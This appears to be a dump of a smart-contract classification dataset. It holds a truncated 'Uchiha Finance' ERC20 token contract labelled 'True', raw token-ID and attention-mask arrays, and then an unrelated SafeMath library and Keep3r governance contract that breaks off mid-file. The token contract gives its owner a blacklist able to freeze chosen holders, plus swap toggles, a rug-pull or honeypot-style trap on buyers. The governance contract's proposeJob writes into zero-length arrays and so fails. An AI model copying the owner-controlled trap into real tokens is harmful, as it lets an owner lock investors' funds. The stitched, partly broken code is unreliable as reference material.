uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string public constant _name = "Uchiha Finance";
string public constant _symbol = "UCHIHA";
uint8 public constant _decimals = 9;
IUniswapV2Router02 public uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private uniswapV2Pair;
bool private tradingOpen;
bool public inSwap = true;
bool public swapEnabled = false;
bool public cooldownEnabled = false;
uint256 public _maxTxAmount = 20000000000000000e9;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x1362Fce432BB31632525601157d2220f953345B8);
_feeAddrWallet2 = payable(0x1362Fce432BB31632525601157d2220f953345B8);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp.add(1000)
);
}
function sendETH078ToFee(uint256 amount) private {
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function updateMaxtx(uint256 _amount) external onlyOwner() {
_maxTxAmount = _amount;
}
function unlockswao(bool _status) external onlyOwner() {
inSwap=_status;
}
function setSwapEnable(bool _status) external onlyOwner() {
swapEnabled=_status;
}
function setCooldownEnable(bool _status) external onlyOwner() {
cooldownEnabled=_status;
}
function manualapprove(uint256 tokenAmount) external onlyOwner() {
_approve(address(this), address(uniswapV2Router), tokenAmount);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
2184,
1011,
6185,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
2184,
1011,
6185,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1018,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
5478,
1006,
1039,
1013,
1037,
1027,
1027,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
24856,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: contracts/interfaces/Keep3r/IKeep3rV1.sol
pragma solidity ^0.6.12;
interface IKeep3rV1 {
function isKeeper(address) external returns (bool);
function worked(address keeper) external;
function totalBonded() external view returns (uint);
function getPriorVotes(address account, uint blockNumber) external view returns (uint);
function addVotes(address voter, uint amount) external;
function removeVotes(address voter,uint amount) external;
function addRLRCredit(address job, uint amount) external;
function approveLiquidity(address liquidity) external;
function revokeLiquidity(address liquidity) external;
function addJob(address job) external;
function removeJob(address job) external;
function setKeep3rHelper(address _kprh) external;
function setGovernance(address _governance) external;
function acceptGovernance() external;
function dispute(address keeper) external;
function slash(address bonded, address keeper, uint amount) external;
function revoke(address keeper) external;
function resolve(address keeper) external;
function setLiquidityFee(uint newFee) external;
function setBondingDelay (uint256 newBond) external;
function setUnbondingDelay (uint256 newUnbond) external;
function setLiquidityBondingDelay (uint256 newLiqBond) external;
}
// File: contracts/Keep3rGovernance.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
contract Governance {
using SafeMath for uint;
/// @notice The name of this contract
string public constant name = "Governance";
/// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
uint public _quorumVotes = 5000; // % of total supply required
/// @notice The number of votes required in order for a voter to become a proposer
uint public _proposalThreshold = 5000;
uint public constant BASE = 10000;
function setQuorum(uint quorum_) external {
require(msg.sender == address(this), "Governance::setQuorum: timelock only");
require(quorum_ <= BASE, "Governance::setQuorum: quorum_ > BASE");
_quorumVotes = quorum_;
}
function quorumVotes() public view returns (uint) {
return KPR.totalBonded().mul(_quorumVotes).div(BASE);
}
function proposalThreshold() public view returns (uint) {
return KPR.totalBonded().mul(_proposalThreshold).div(BASE);
}
function setThreshold(uint threshold_) external {
require(msg.sender == address(this), "Governance::setQuorum: timelock only");
require(threshold_ <= BASE, "Governance::setThreshold: threshold_ > BASE");
_proposalThreshold = threshold_;
}
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint) { return 1; } // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint) { return 40_320; } // ~7 days in blocks (assuming 15s blocks)
/// @notice The address of the governance token
IKeep3rV1 immutable public KPR;
/// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
uint id;
address proposer;
uint eta;
address[] targets;
uint[] values;
string[] signatures;
bytes[] calldatas;
uint startBlock;
uint endBlock;
uint forVotes;
uint againstVotes;
bool canceled;
bool executed;
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
bool hasVoted;
bool support;
uint votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
bytes32 public immutable DOMAINSEPARATOR;
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
function proposeJob(address job) public {
require(msg.sender == address(KPR), "Governance::proposeJob: only VOTER can propose new jobs");
address[] memory targets;
targets[0] = address(KPR);
string[] memory signatures;
signatures[0] = "addJob(address)";
bytes[] memory calldatas;
calldatas[0] = abi.encode(job);
uint[] memory values;
values[0] = 0;
_propose(targets, values, signatures, calldatas, string(abi.encodePacked("Governance::proposeJob(): ", job)));
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(KPR.getPriorVotes(msg.sender, block.number.sub(1)) >= proposalThreshold(), "Governance::propose: proposer votes below proposal threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "Governance::propose: proposal function information arity mismatch");
require(targets.length != 0, "Governance::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "Governance::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "Governance::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "Governance::propose: one live proposal per proposer, found an already pending proposal");
}
return _propose(targets, values, signatures, calldatas, description);
}
function _propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) internal returns (uint) {
uint startBlock = block.number.add(votingDelay());
uint endBlock = startBlock.add(votingPeriod());
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "Governance::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = block.timestamp.add(delay);
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!queuedTransactions[keccak256(abi.encode(target, value, signature, data, eta))], "Governance::_queueOrRevert: proposal action already queued at eta");
_queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public payable {
require(guardian == address(0x0) || msg.sender == guardian, "Governance:execute: !guardian");
require(state(proposalId) == ProposalState.Queued, "Governance::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
_executeTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
ProposalState state = state(proposalId);
require(state != ProposalState.Executed, "Governance::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(proposal.proposer != address(KPR) &&
KPR.getPriorVotes(proposal.proposer, block.number.sub(1)) < proposalThreshold(), "Governance::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
_cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "Governance::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes.add(proposal.againstVotes) < quorumVotes()) {
return ProposalState.Defeated;
} else if (proposal.forVotes <= proposal.againstVotes) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= proposal.eta.add(GRACE_PERIOD)) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
_castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAINSEPARATOR, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Governance::castVoteBySig: invalid signature");
_castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "Governance::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "Governance::_castVote: voter already voted");
uint votes = KPR.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = proposal.forVotes.add(votes);
} else {
proposal.againstVotes = proposal.againstVotes.add(votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
event NewDelay(uint indexed newDelay);
event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
uint public constant GRACE_PERIOD = 14 days;
uint public constant MINIMUM_DELAY = 1 days;
uint public constant MAXIMUM_DELAY = 30 days;
uint public delay = MINIMUM_DELAY;
address public guardian;
address public pendingGuardian;
modifier onlyGuardian(){
require(msg.sender == guardian , "Error: caller is not the guardian address");
_;
}
function setGuardian(address _guardian) external onlyGuardian {
pendingGuardian = _guardian;
}
function acceptGuardianship() external {
require(msg.sender == pendingGuardian, "Keep3rGovernance::setGuardian: !pendingGuardian");
guardian = pendingGuardian;
}
function addVotes(address voter, uint amount) external onlyGuardian {
KPR.addVotes(voter, amount);
}
function removeVotes(address voter, uint amount) external onlyGuardian {
KPR.removeVotes(voter, amount);
}
function addRLRCredit(address job, uint amount) external onlyGuardian {
KPR.addRLRCredit(job, amount);
}
function approveLiquidity(address liquidity) external onlyGuardian {
KPR.approveLiquidity(liquidity);
}
function revokeLiquidity(address liquidity) external onlyGuardian {
KPR.revokeLiquidity(liquidity);
}
function addJob(address job) external onlyGuardian {
KPR.addJob(job);
}
function removeJob(address job) external onlyGuardian {
KPR.removeJob(job);
}
function setKeep3rHelper(address kprh) external onlyGuardian {
KPR.setKeep3rHelper(kprh);
}
function setGovernance(address _governance) external onlyGuardian {
KPR.setGovernance(_governance);
}
